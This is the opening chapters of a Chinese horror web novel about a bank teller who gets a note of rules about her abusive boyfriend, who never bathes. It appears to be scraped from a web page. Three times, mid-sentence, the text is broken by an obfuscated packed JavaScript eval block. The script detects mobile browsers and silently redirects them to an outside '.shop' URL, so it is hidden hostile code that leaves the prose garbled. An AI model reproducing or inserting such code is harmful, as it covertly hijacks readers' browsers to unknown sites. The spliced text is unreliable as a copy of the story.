《和渣男同居后,我发现他从不洗澡》 1. 第一章 纸条 第一章纸条 一 陈默在银行干了五年,经手的钱能堆成一座小山,但她自己口袋里永远只装着一枚一分钱硬币。 那是三年前的事。但她现在还没扔。 也不是刻意留着,就是每次换衣服都顺手掏出来扔进新裤兜,时间长了,那枚硬币已经成了她身上的一部分,像一颗多余的痣,没什么用,但也不碍事,就一直带着。 硬币正面是国徽,反面被磨得几乎看不清年份。她偶尔等红灯的时候会把它掏出来,在手指间翻个面,再翻个面,然后红灯变绿,她把它塞回口袋,继续往前走。 六月下旬,梅雨季倒数第七天。 雨从早上下到现在还没停,玻璃窗上糊着一层水汽,外面的世界被揉成一团模糊的灰绿色。营业大厅里没人,保安老周靠在门边打哈欠,空调出风口嗡嗡响,整个网点像一艘沉在水底的船。 陈默对着电脑屏幕发呆。 她今天办了三笔业务:一笔水电费代缴,一笔定期转存,一笔换零钱。三笔业务加起来用时十七分钟,剩下七个小时四十三分钟,她都在等下班。 显示屏右下角跳成15:47。 门开了。 进来的老头大概七十多岁,穿着一件洗得发白的深蓝雨衣,雨水顺着下摆滴在地上,一路滴到陈默的窗口前。他走得很慢,像每一步都要先想清楚再落脚。 老周看了他一眼,没动。 老头在窗口前站定,从雨衣内袋里摸出一个塑料袋,塑料袋里包着一层报纸,报纸里裹着一只手帕,手帕里——倒出一枚硬币。 一分钱。 陈默盯着那枚硬币看了两秒。 “大爷,您存钱?” 老头点头。 “存多少?” 老头把硬币往前推了推,就那一枚。 陈默张了张嘴,把“您这是逗我玩呢”咽了回去。她在这窗口坐了五年,见过来存一毛两毛的,见过来换一百个一块硬币的,但专程来存一分钱的,这是头一个。 “大爷,”她尽量让声音听起来正常点,“您确定就存这一分?” 老头又点头。 陈默拿起那枚硬币。冰的,沾着雨水的湿气。她低下头开始敲键盘,准备手工录入这笔存款。 余光里,老头的手伸了过来。 不是伸向窗口的凹槽,是伸向那个递东西的缝隙——那个只够塞进一张纸、一只手、一个信封的缝隙。 一张纸条被塞了进来。 陈默愣住。 老头的嘴唇动了动,声音压得很低,低到只有她能听见: “今晚十二点前看。记住,对你男朋友,必须照做。” 陈默抬起头。 老头已经转身走了。雨衣的下摆拖过地砖,留下一道湿痕,然后那道湿痕被空调吹干,什么都没有了。 她低头看手里的纸条。 还没打开,老周的声音从柜台外传来:“陈默,刚才那位大爷存了多少?系统有记录吗?” 陈默下意识去看电脑屏幕。 交易记录那一栏—— 空白。 她还没开始录入,屏幕上当然什么都没有。但老周问的是“有记录吗”,而她盯着那片空白,突然有一种奇怪的感觉—— 那枚硬币,好像从来不属于这里。 “没办,”她听见自己说,“他走了。” 老周“哦”了一声,退回门边继续打哈欠。 陈默把纸条塞进工装裤兜里,和那枚一分钱硬币放在一起。 她低下头,盯着键盘,盯了很久。 二 下班已经是晚上八点四十。 雨停了,空气里全是水汽,像有人把整座城市放进蒸笼里蒸过。陈默挤了一个小时地铁,出站时天已经黑透,路灯下的水洼映出一块块碎光。 她走到单元楼下,抬头看七楼的窗户。 黑的。 王志强还没回来。 她说不清自己是松了一口气,还是又憋了一口气。 电梯上行的时候,她把那张纸条掏出来看了一眼,又塞回去。她没打开。地铁上太挤,没手。出站后太黑,没灯。现在电梯里有灯,但她突然不想看。 不知道在怕什么。 开门,换鞋,开灯。客厅还是那个客厅,沙发还是那个沙发,茶几上还放着三天前没收拾的外卖盒,已经馊了,一股酸臭味。 她放下包,先去开窗,然后去收拾外卖盒,然后去卫生间洗了把脸,然后坐在沙发上发呆。 然后她想起兜里那张纸条。 掏出来,展开。 纸条是那种最普通的作业本纸,撕得不齐,边上有毛刺。字是圆珠笔写的,笔迹很急,有些字被水洇过,糊成一团,但还能辨认。 她一行一行往下看: 《与“他”同居共存守则》 1. 他深夜回家敲门时,不要马上开门。数到三十,再开。 2. 他喝醉后说的话,无论多难听,不要反驳,不要流泪,点头就好。 3. 如果他在酒桌上吹牛说“我女朋友是银行的,有的是钱”,三天内必须提分手。 4. 真正的他,从不洗澡。 5. 如果他在KTV点了陪酒女,而那个女人朝你看了一眼——跑。能跑多远跑多远。 陈默盯着这张纸条,看了很久。 第一条,她不用学。她早就习惯等他敲门敲到第二十几下才去开——不是故意,是累了,不想动。 第二条,她也不用学。三年了,王志强喝醉后说的话,她一句都没反驳过。他说她没用,她就听着;说她配不上他,她也听着;说“要不是我,你能住这么好的房子”,她还是听着。听着听着就习惯了,听着听着就不知道自己还能说什么。 第三条,她见过。上个月他带她去一个饭局,喝多了就开始吹,“我女朋友银行的,柜员怎么了?柜员也有门路,改天让她给你们弄点贷款”。满桌子人哄笑,她低着头,恨不得把自己缩成一团空气。 第四条—— 她顿住了。 真正的他,从不洗澡。 从不洗澡。 她和王志强同居三年。 三年。 她拼命回忆,想找出一个他洗澡的画面。浴室门关着,水声哗哗,她隔着门喊“洗好了吗”—— 有吗? 没有。 一次都没有。 她从来没见过他进浴室。从来没见过他用毛巾。从来没见过沐浴露的瓶子动过。 但她以前从没注意过。 第五条,她还没见过。他在KTV点陪酒女,她知道。消费小票她翻到过,一条一条列得明明白白:啤酒、果盘、果盘、啤酒、陪酒女(2位)*6 小时。但她没见过那些女人,她们只是小票上的一行字,不是活人。 如果有一天,她们从纸上走出来,朝她看一眼—— 跑。 能跑多远跑多远。 陈默把纸条折起来,又展开,又折起来。 她不知道该信还是不该信。 一个陌生老头,一张莫名其妙的纸条,一枚一分钱硬币——这听起来像什么?像她在银行窗口听了五年的那些“我跟你说,我昨天遇到个怪事”的闲聊。那些人说完就走了,她笑着点头,然后继续办下一笔业务。 但那张纸条现在在她手里。 而那枚硬币,还在她口袋里。 三 晚上一点二十。 陈默躺在床上,没睡。 窗帘没拉严,外面路灯的光漏进来一条缝,正好切在衣柜上。她盯着那条光缝,听客厅里的动静。 王志强还没回来。 她翻了个身,又翻了个身。手机亮了两次,都是垃圾短信。她把手机扣过去,盯着天花板。 纸条压在枕头底下。她伸手摸了一下,还在。 一点四十。 楼道里有脚步声。很重,拖沓,一步一停。陈默竖起耳朵听,那脚步声越来越近,越来越近,然后在门口停住了。 安静了三秒。 然后门被砸响了。 “砰——砰——砰——” 是拳头砸门的声音,不是敲门。每一下都砸得整栋楼都在抖。 “开门!陈默!开门!” 王志强的声音,含糊,大舌头,喝大了。 陈默躺着没动。 “砰——砰——砰——!” “陈默!我操你妈的聋了?!开门!” 她开始数。 一、二、三…… 砸门声一下接一下,中间夹着骂娘,夹着踹门,夹着楼道里回声荡来荡去。 十一、十二、十三…… 她从来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387613|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数过这么慢。三十秒,平时就是一眨眼的工夫,现在每一秒都像被拉长了一倍。砸门声越来越响,骂声越来越难听,她甚至能听见邻居家开门又关上的声音。 二十三、二十四、二十五…… 门外突然安静了。 那一下安静来得毫无征兆,像有人一刀切断了所有声音。骂声没了,砸门声没了,连楼道里嗡嗡的灯管声都没了。 陈默攥紧被角。 二十八、二十九—— 三十。 她坐起来,下床,光着脚走到门口,握住门把手。 门把手是凉的。比平时凉,像刚从冰箱里拿出来的铁。 她深吸一口气,拧开。 门开了。 王志强站在门外。 走廊的声控灯没亮。他整个人站在黑暗里,只能看见一个轮廓,和两只眼睛——那两只眼睛在反光,像猫,像狗,像什么夜里会发光的动物。 陈默下意识往后退了一步。 王志强迈进来,灯亮了。 他还是那个王志强。四十岁,发福,脸喝得通红,眼睛眯着,一身酒气。西装外套歪了半边,衬衫领口敞着,领带勒在脖子上一半松一半紧。 他盯着陈默看。 那眼神不对。不是喝醉的那种涣散,是清醒的。是审视的。是—— 陈默不知道那是什么。 “磨蹭什么呢?”他开口,声音和平时一样,“我他妈在外面挣钱养你,你连个门都不利索开?” 陈默没说话。 她想起规则第二条。 王志强从她身边挤过去,鞋子也不脱,直接踩进客厅,一屁股砸进沙发里。沙发发出一声闷响。 “倒水。” 陈默去倒水。 水壶是空的。她打开水龙头接水,烧上,站在厨房里等。客厅里没声音。她回头看,王志强仰在沙发上,眼睛闭着,像是睡着了。 她端着水杯走过去,放在茶几上。 转身要回卧室。 “陈默。” 她停下。 王志强还闭着眼,但嘴在动。 “我今天在酒桌上,又跟他们吹你了。” 陈默站着没动。 “我说,我女朋友银行的。柜员。别看不起柜员,她们行长都得给她面子。改天让她给你们弄点贷款——” 他睁开眼,扭头看她,咧嘴笑了。 “他们信了。” 陈默的手指攥紧了一下,又松开。 “你明天,”王志强说,“给我开个户。公司要用。” “你公司不是有户吗?” “再开一个。” “在哪开都行,你明天自己来我们网点办——” “我说你开就你开。”他的声音突然沉下去,“听不懂人话?” 陈默没说话。 王志强盯着她,又笑了一下,那笑容很短,像撕开一道口子又立刻合上。 “行,睡吧。” 他闭上眼,不再动了。 陈默站在原地,站了五秒,然后转身走进卧室,关上门。 她背靠着门,慢慢滑坐到地上。 客厅里没有水声。他没起来喝水。他没去洗澡。他甚至没动。 他就那么躺在沙发上,躺在一片黑暗里。 陈默把那张纸条从枕头底下抽出来,就着路灯的光,又看了一遍第五条: 如果他在KTV点了陪酒女,而那个女人朝你看了一眼——跑。 她想起茶几上那张消费小票。 那是三天前的事了,她翻他口袋时翻出来的。她没问,他也没说。 小票上写的陪酒女,是两个。 她们长什么样,她不知道。 但如果有一天,她们从那张小票里走出来,朝她看一眼—— 她能跑哪去? 陈默把纸条攥在手心里,蜷缩着躺在地上,背抵着门,一夜没睡。 门外始终没有声音。 第二天早上,她醒来的时候,王志强已经走了。茶几上的水杯还是满的,一口没动。 沙发垫上有一个印子,像有人躺过的痕迹。 但那印子的形状,有点不对。 太深了。 像躺了很长时间。 像躺了——很多年。 --- 第一章完 2. 第二章 试探 第二章试探 一 陈默到银行的时候,是早上七点四十。 她一夜没睡,眼底挂着两团青黑,在更衣室换工装时对着镜子看了自己三秒,然后移开视线。 那枚一分钱硬币还在口袋里。她换裤子的时候掏出来看了一眼,又塞回去。不知道为什么,她不想把它放在家里。 八点整,她坐到窗口前,打开电脑,输入工号,等待系统登录。 屏幕亮起来的那一刻,她愣了一下。 昨天的交易记录那一栏,还是空白。 当然应该是空白——她昨天什么都没录进去。但她盯着那片空白,总觉得有什么不对。 她点开流水查询,输入自己的工号,日期选昨天。 页面刷新。 15:47 那一行,什么都没有。 她知道没有。她亲眼看着老头转身走的,她根本没来得及录。 但老周问的那句话突然冒出来:“系统有记录吗?” 没有记录。 那个老头,那枚硬币,那张纸条——像从来没存在过。 陈默把手伸进口袋,摸到那枚硬币,冰的,硬的,还在。 她深吸一口气,开始办今天的业务。 上午十点半,人不多。陈默正在给一个大妈办定期转存,余光里,老周的声音从身后传来: “陈默,昨天那个老头后来又来了吗?” 陈默的手指停在键盘上。 “什么老头?” “就昨天下午,下雨那会儿,穿蓝雨衣那个。”老周靠着墙,手里转着保安帽,“我后来想了想,他走的时候,我好像没听见开门那一下。” 陈默没回头:“什么意思?” “就那感应门,”老周说,“平时谁进出都有‘叮’一声,对吧?他走的时候,我没听见那声。” 陈默转过头看老周。 老周五十多岁,在这网点干了六年,每天的工作就是开门、关门、帮老人按叫号机、提醒客户“钱包收好”。他不是那种爱讲鬼故事的人,甚至有点迟钝,去年网点进小偷,他是最后一个反应过来的。 但现在他说这话的时候,表情是认真的。 “可能是雨太大,没听清。”陈默说。 老周点点头:“也是。” 他转身走回门边。 陈默盯着他的背影看了两秒,然后继续办业务。 那笔定期转存办完,大妈走了。陈默对着电脑屏幕发呆。 她想起昨天那个老头塞纸条的动作——不是从窗口凹槽递进来的,是从那个缝隙塞进来的。 那个缝隙只有两三厘米宽,塞一张纸刚刚好,一只手是绝对不可能塞进来的。 她在这窗口坐了五年,从来没人从那个缝隙递过东西。那是封死的,不是递东西的地方。 但昨天,那个老头的手,就是从那里伸进来的。 下午两点,陈默去了一趟洗手间。 洗手的时候,她又把那枚硬币掏出来,放在水龙头下冲了冲。 水流过硬币表面,什么都没发生。硬币还是那枚硬币,国徽还是那个国徽,磨得看不清的年份还是看不清。 她关掉水,把硬币擦干,放回口袋。 回到工位的时候,手机震了一下。 王志强发来一条微信: “晚上不回去吃,有应酬。” 陈默盯着那行字看了五秒,打了三个字回过去: “知道了。” 她没问他什么应酬,在哪,跟谁。三年了,她早就不问了。 但今天,她盯着那三个字,突然想起规则第五条: 如果他在KTV点了陪酒女,而那个女人朝你看了一眼——跑。 KTV。 他今晚去的,会不会是KTV? 二 晚上七点四十,陈默下班。 她没有直接回家,而是在地铁站里站了十分钟,看着来来往往的人。下班高峰,人挤人,每个人都低着头看手机,每个人脸上都带着一种疲惫的麻木。 她不知道自己为什么要站在这儿。 可能是……不想回去。 那个家,那间客厅,那张沙发——今天早上出门前,她又看了一眼沙发垫上的印子。经过一夜,那个印子还在,没有弹回来,像一个陷下去的坑。 她拍了张照片,存在手机里,然后出门上班。 现在她站在地铁站里,把那照片翻出来看。 沙发垫是记忆棉的,平时人躺过,几分钟就能恢复原状。但这个印子,从昨晚躺到今早,一点没变。 她想发给她认识的人看看,问问这正常吗,但翻了半天通讯录,不知道该发给谁。 三年了,她的朋友越来越少。王志强不喜欢她和以前的朋友来往,说那些人“没用”“耽误时间”。后来她就不怎么联系她们了,再后来,她们也不联系她了。 她把手机塞回口袋,刷卡进站。 到家是八点四十。 开门,开灯,客厅还是那个客厅。她站在门口,盯着那张沙发。 印子还在。 她走过去,伸手按了按沙发垫。 软的,弹的,正常的。 但她一松手,那个印子——像有记忆一样——又慢慢变回那个形状。 不是完全变回去,是……恢复了一点点,但大体上还是那个坑。 陈默往后退了一步。 她盯着那个坑,看了很久。 然后她转身,把全屋的灯都打开了。 三 晚上一点整。 陈默躺在床上,没睡。 客厅的灯全开着,卧室的门虚掩着,留了一道缝。光线从那道缝里漏进来,在地上切出一条细长的亮条。 王志强还没回来。 她侧躺着,盯着那条光缝。 手机放在枕头边,静音。她隔一会儿就按亮屏幕看一眼时间。 01:07。 01:14。 01:21。 01:28。 一点半的时候,楼道里传来脚步声。 不是昨天那种拖沓的、喝醉的脚步。是正常的脚步,不快不慢,一步接一步,走到门口,停住。 然后,钥匙捅进门锁的声音。 门开了。 陈默攥紧被角,听着客厅里的动静。 脚步声走进来,停住。安静了几秒。然后——沙发响了一声。 他坐下了。 没有开灯。客厅的灯明明全开着,但他坐下之后,什么都没动。没关灯,没开电视,没倒水,没去厕所。 就那么坐着。 陈默听着自己的心跳,一下,两下,三下。 客厅里始终没有声音。 她不知道坐了多久,可能五分钟,可能十分钟。然后—— 脚步声站起来,朝卧室走过来。 陈默闭上眼睛,调整呼吸,假装睡着。 门被推开了。 光线从客厅涌进来,她的眼皮能感觉到那种亮度。王志强就站在门口,站在那里,一动不动。 她忍着没有睁眼。 一秒。两秒。三秒。 门被关上了。 脚步声走回客厅,沙发又响了一声。然后,安静。 陈默慢慢睁开眼,盯着天花板。 他没进来。他就站在门口,看了她一眼,然后把门关上了。 她不知道自己该松一口气,还是该更害怕。 那一夜,她没怎么睡。 客厅里偶尔有动静——沙发响一下,脚步走两步,停住,又走两步,又停住。像有人在客厅里来回踱步,走几步就停,停一会儿再走。 但她不敢出去看。 天亮的时候,她醒过来。 客厅里没人。 茶几上放着一个塑料袋,袋子里是早餐——豆浆、油条、茶叶蛋。还热着。 王志强已经走了。 陈默站在茶几前,盯着那袋早餐。 三年了,他从来没买过早餐。 四 上午十点,陈默在办业务的时候,手机震了。 她趁客户填单的空隙看了一眼—— 是王志强发来的照片。 一张酒桌,上面摆着啤酒、果盘、几碟小菜。桌边坐着三四个人,都是男的,脸被糊了,看不清。照片的角落里,有一只手,涂着红色的指甲油,端着一杯酒,正要往镜头里递。 配文:“昨晚的局,下次带你。” 陈默盯着那只手。 红色指甲油,很红,像血。 她放大照片,想看清那个女人的脸。但照片太糊,那只手后面只有一片虚影,什么也看不清。 她把手机扣在桌上,深吸一口气。 “姑娘,我填好了。”客户把单子递进来。 陈默接过来,低头敲键盘。 但她脑子里全是那只手。 红色的指甲油。 端着一杯酒。 正要往镜头里递——还是正要往镜头外伸? 她不知道。 晚上回到家,陈默做的第一件事,是打开王志强的衣柜。 她也不知道自己要找什么。 三年了,她从没翻过他的衣柜。不是不想,是觉得没必要——他的东西就是他的,她的东西是她的,分得很清。 但今天,她打开了。 衣服叠得整整齐齐,衬衫、裤子、外套,按颜色分类。她伸手摸了摸那些衣服—— 都是干的。 都是凉的。 都是……干净的? 她低头闻了闻。 没有汗味,没有烟味,没有任何味道。 像从来没人穿过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387614|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈默退后一步,关上柜门。 她站在卧室中间,看着那张床,那个衣柜,那扇门。 门缝下面,客厅的光透进来,细细一条。 她突然想起昨天夜里,王志强站在门口看她的时候——他站了多久?三秒?五秒?还是更久? 如果她那时候睁开眼,会看到什么? 她不知道。 五 凌晨一点四十。 王志强还没回来。 陈默躺在床上,盯着手机。 她今天用地图搜了搜附近的KTV。离她家最近的有三家,都在两公里内。她不知道王志强去的哪家,但她把三家都存进了收藏夹。 不知道能干什么。就是想存着。 二点整,楼道里传来脚步声。 还是昨天的节奏——不快不慢,一步接一步,在门口停住,钥匙捅进门锁。 门开了。 沙发响了一声。 然后,安静。 陈默等着。 一分钟。两分钟。五分钟。 客厅里始终没有声音。没有脚步走动,没有喝水声,没有任何动静。只有沙发那一下响,然后就什么都没了。 她想起昨晚他站在门口看她的那几秒。 今晚呢?他会不会再过来? 她等。 十分钟。十五分钟。 还是没有声音。 陈默慢慢坐起来,光着脚下床,走到门边。 她握住门把手,没动。 听。 客厅里一片死寂。连呼吸声都没有。 她深吸一口气,轻轻把门推开一条缝。 客厅灯亮着。沙发上—— 没有人。 茶几上的早餐袋还在,豆浆杯已经凉了。电视关着,窗户关着,什么都没动。 但王志强不在。 她推开门,走进客厅。 沙发垫上有一个印子——刚刚有人坐过的印子。但那个印子,正在慢慢恢复,一点一点,像记忆棉该有的样子。 她站那儿盯着那个印子看。 直到它完全恢复,变得和其他地方一样平整。 陈默站在客厅中央,看着那张沙发,看着那袋凉掉的早餐,看着那扇关着的门。 他回来了。坐下了。然后呢? 然后去哪了? 她没听见门响。她没听见任何声音。他就这么……消失了? 她站了很久。 然后她走回卧室,拿起手机,凌晨二点四十三分,给王志强发了一条微信: “你今晚回来过吗?” 发完她盯着屏幕,等。 一分钟。五分钟。十分钟。 没有回复。 她把手机扣在枕头底下,闭上眼。 窗外的路灯照进来一条缝,正好切在衣柜上。 她想起那张纸条的第一条——数到三十再开门。 她今晚没数。因为她根本没去开门。 但问题是,他是怎么进来的? 他有钥匙。当然有钥匙。 但为什么她没听见门响? 陈默一夜没睡。 第二天早上,手机震了。 王志强的回复,凌晨三点十七分发来的: “回了。看你睡了,没吵你。” 陈默盯着那行字。 凌晨三点十七分。 那时候她醒着。她一直醒着。她没听见任何人进来,没听见任何声音。 她打字回过去: “几点走的?” 对面过了很久才回: “早起有事,走得早。你晚上想吃什么?我带回去。” 陈默盯着屏幕,没有回复。 她把手机放下,去洗漱。 刷牙的时候,她看着镜子里的自己。 眼底的青黑更深了。眼眶有点凹。嘴唇有点干。 她打开水龙头,用手捧了一捧水,扑在脸上。 水很凉。 她想起规则第四条: 真正的他,从不洗澡。 从不洗澡。 从不碰水。 她关掉水龙头,盯着镜子里满脸水珠的自己。 如果他从不洗澡—— 那他怎么保持“干净”的? 她想起昨天翻他衣柜的时候,那些衣服上没有任何味道。不是香水味,不是洗衣液味,是——什么都没有。 像从来没人穿过。 像从来没人碰过。 陈默擦干脸,走出洗手间。 那枚一分钱硬币还放在床头柜上,她昨晚睡前掏出来的。 她拿起来,攥在手心里。 冰的。 和昨天一样冰。 和那个雨天老头递给她的那枚,一样冰。 --- 第二章完 3. 第三章 味道 第三章味道 一 第三天。 陈默下班的时候,天还亮着。 六点四十,太阳刚往下沉,西边的云烧成一片橘红色。她站在单元楼下,抬头看七楼的窗户。 灯亮着。 她愣了一下。 这三年,王志强从来没有比她早回来过。从来没有。最早也是九点以后,通常都是十一点、十二点,有时候直接凌晨。 现在六点四十,灯亮着。 陈默站在楼下,站了五秒,然后走进去。 电梯上行的时候,她把手伸进口袋,摸到那枚一分钱硬币。冰的,硬的。她攥了一下,又松开。 门开之前,她深吸了一口气。 钥匙捅进去,拧开,推门。 客厅里电视开着,声音不大,是某个新闻频道,主持人正在播报什么油价上涨的消息。沙发上躺着一个人——王志强,仰在那儿,啤酒肚挺着,一只手搭在肚子上,一只手拿着遥控器,眼睛盯着屏幕。 他回来了。 真的回来了。 六点四十,他回来了。 陈默站在门口,忘了换鞋。 王志强扭头看了她一眼,又扭回去继续看电视。 “愣着干嘛?进来啊。” 声音是平时的声音,不高不低,不冷不热。像什么都没发生过。 陈默换鞋,放下包,走进客厅。她从沙发背后绕过去,想进卧室换衣服,但走到沙发旁边的时候,她停住了。 有一股味道。 很淡,但确实有。 是那种……油味。不是油烟,是那种人身上出油的味道,汗和油脂混在一起,放了一整天,发出来的那种闷闷的、腻腻的味。 陈默站住了。 三年了,她从来没在王志强身上闻到过任何味道。没有汗味,没有烟味,没有酒味,没有任何人该有的味道。 但现在,有味道了。 她低头看他。 他还是那么躺着,啤酒肚一起一伏,眼睛盯着电视。新闻播完了,开始放广告,一个洗衣液的广告,一个女人举着白衬衫笑。 陈默张了张嘴。 话到嘴边,又咽回去。 她走进卧室,关上门,在床上坐了一会儿。 那味道还在她鼻子里。不是难闻,是不对。 三年没味道的人,突然有味道了——这比一直有味道更让人不舒服。 她坐了两分钟,站起来,又走出去。 王志强还在那儿躺着。遥控器换了个台,现在在放什么综艺节目,罐头笑声一阵一阵的。 陈默站在沙发旁边,看着他。 “王志强。” 他抬眼:“嗯?” “你去洗个澡吧。” 王志强的眼睛从电视上移开,看了她一眼,又移回去。 “不洗。” 陈默站着没动。 那味道又飘过来。淡淡的,腻腻的,像什么东西放坏了。 “你身上有味儿了。”她说。 “什么味儿?” “油味儿。你自己闻不到?” 王志强没说话,换了个姿势躺着,背对着她。 陈默盯着他的后背。那件衬衫是浅蓝色的,领口有点发灰,腋下有两块深色的汗渍。她以前从没注意过这些——或者说,以前没有,所以不用注意。 “去洗一个吧。”她又说了一遍。 “不去。” “很快的,十分钟就好。” 王志强没理她。 陈默站在那儿,突然觉得有一股气从胸口往上顶。 不是愤怒,是说不清的东西。三年了,她等了三年,每天等他回来,等他早点回来,等他有一天能像正常人一样下班回家,等她不用一个人吃饭一个人睡觉一个人醒过来—— 现在他回来了。 六点四十就回来了。 躺在沙发上看电视。 身上有味儿了。 让他洗个澡,他说不去。 就这么简单的一句话,她说第三遍了,他连头都不回。 陈默绕过沙发,走到他面前,低头看着他。 “王志强。” 他抬眼。 “去洗澡。” “我说了不洗。” “你身上真有味儿了。” “有什么味儿?我自己闻不到。” “你自己当然闻不到,你天天穿着这件衣服——” “这衣服昨天刚换的。” “不可能,”陈默说,“你腋下都有汗渍了。” 王志强的眼睛眯了一下。 就一下。 然后他坐起来,把遥控器往茶几上一扔,声音不大,但有点沉。 “你今天怎么回事?” 陈默没说话。 他也站起来。 站着的时候比她高半个头,啤酒肚几乎要贴到她身上。那股油味更浓了,闷闷的,腻腻的,像一块放了三天的肥肉。 “我就想让你洗个澡。”陈默说。 “我不洗。” “为什么?” “不为什么,就不洗。” “总有个理由吧?” 王志强盯着她,没说话。 陈默也盯着他。 两个人就这么站着,电视里的罐头笑声一阵一阵往外冒。 “你以前也不洗,”陈默听见自己说,“三年了,你从来没洗过澡。” 王志强的脸色变了。 就一点点。眼角往下拉了一点,嘴角抿紧了一点。如果不盯着看,根本看不出来。 “你什么意思?” 陈默没回答。 她伸出手,抓住他的袖子。 “去洗澡。” 王志强甩开她的手。 “别碰我。” 陈默又抓住。 这次抓的是手腕。他的手腕很粗,很热,热的有点不正常。像发着低烧的那种热。 “你去洗。” “陈默。” “去洗。” “陈默!” 他一把甩开她,用的力气比刚才大得多。 陈默往后踉跄了两步,小腿撞在茶几角上,整个人失去平衡,一屁股坐在地上。 疼。 小腿火辣辣地疼,屁股也疼,手掌撑地的时候蹭了一下,火辣辣的。 她坐在地上,抬头看他。 王志强站在那儿,低头看着她。脸上的表情不是愤怒,不是愧疚,是—— 她看不懂。 “你又不是不知道,”他说,声音很低,像从喉咙深处挤出来的,“我从来不在晚上洗澡。” 陈默愣住。 从来不在晚上洗澡。 她不知道。 她真的不知道。 她连他洗不洗澡都不知道,怎么可能知道他什么时候洗? 但他说得好像这应该是常识。好像她应该知道。好像这是他们之间早就说好的事。 “那你什么时候洗?”她问。 王志强没回答。 他转过身,走回沙发,坐下,拿起遥控器,继续换台。 综艺节目没了,换成一个电视剧,男女主角在吵架,声音很大。 陈默还坐在地上。 小腿疼,手掌疼,屁股疼。她低头看小腿,蹭破了一层皮,正在往外渗血,细细的一道,像红线。 她盯着那道红线,看了很久。 然后她爬起来,走进卧室,关上门。 这次她没有靠着门滑坐下去。她走到床边,坐下,拿起手机,看了一眼时间。 19:14。 他六点四十回来的。她六点五十到家的。现在七点十四,二十四分钟,她坐在地上用了大概五分钟,刚才那一切,十九分钟。 十九分钟。 她等了他三年,他第一次早回来,十九分钟就把她推地上了。 陈默躺到床上,盯着天花板。 客厅里电视的声音隐隐约约传进来。男女主角吵完了,换成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387615|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片尾曲,又换成广告,又换成另一个电视剧。 她躺着,一动不动。 不知道过了多久,门开了。 王志强站在门口。 陈默没动,没扭头看他。 “陈默。” 她没应。 他走进来,走到床边,坐下。床垫陷下去一块,她往那边歪了一点。 “刚才我手重了,”他说,“没事吧?” 陈默没说话。 他伸手过来,想摸她的腿。 陈默躲开了。 他的手停在半空,顿了两秒,收回去。 “我就是不想洗,”他说,“你不知道,我这人有点毛病,晚上洗澡睡不着。” 陈默没说话。 “真的。以前没跟你说过,但就是这样。晚上洗了澡,躺床上翻来覆去,一夜睡不着。所以我都早上洗。” 陈默扭过头,看着他。 “你早上洗?” “对。” “我每天早上起来,你都在睡觉。” 王志强顿了一下。 “……我起得早,你还没醒。” 陈默盯着他。 他也盯着她。 三秒。五秒。十秒。 “行,”陈默说,“那你明天早上洗给我看。” 王志强的表情僵了一瞬。 就一瞬。 然后他笑了。 “行啊,”他说,“明天早上,我洗给你看。” 他站起来,走出去。 门没关。 客厅的灯光漏进来一条缝,切在地板上。 陈默躺在那儿,盯着那道光。 她不知道他说的是不是真的。 但她知道一件事—— 他刚才笑的时候,嘴里有一股味道。 不是烟味,不是酒味,不是油味。 是别的。 像什么东西,放得太久,已经开始烂了。 二 那天晚上,陈默没睡。 她躺在床上,睁着眼,等天亮。 客厅里的电视开了一夜。王志强没进来。她偶尔能听见沙发响一声,脚步声走几步,又停住,又走几步,又停住。 和前两天一样。 凌晨三点多,她拿起手机,给王志强发了条微信: “你睡了吗?” 客厅里没声音。 手机一直没响。 早上六点,天亮了。 陈默坐起来,下床,打开卧室门。 客厅里没人。 电视还开着,在放早间新闻。茶几上放着一个塑料袋,袋子里是早餐——豆浆、油条、茶叶蛋。还热着。 沙发垫上有一个印子。 很深。 像躺了一夜。 陈默站在那儿,盯着那个印子。 她等。 一分钟。两分钟。五分钟。 那个印子没有恢复。 她走过去,伸手按了按沙发垫。软的,弹的,正常的。她一松手,那个印子——慢慢、慢慢、慢慢地,恢复了一点,但还是有个坑。 像一个人躺过的地方。 像一个东西躺过的地方。 她站在那儿,看了很久。 然后她转身,走进洗手间。 洗手间里,一切如常。 毛巾是干的。浴巾是干的。地漏没有头发。沐浴露的刻度线,还是那个位置。 他早上没洗澡。 他骗了她,他早上也不会洗澡。 陈默盯着那瓶沐浴露,盯了很久。 然后她打开水龙头,用手捧了一捧水,扑在脸上。 水很凉。 她抬起头,看着镜子里的自己。 眼底的青黑更深了。眼眶凹进去。嘴唇干裂。 她看了一会儿。 然后她低下头,把脸埋进双手里。 水从指缝漏出来,一滴一滴,滴进洗手池。 --- 第三章完 4. 第四章 乌云 第四章乌云 一 陈默出门的时候,天还没完全亮。 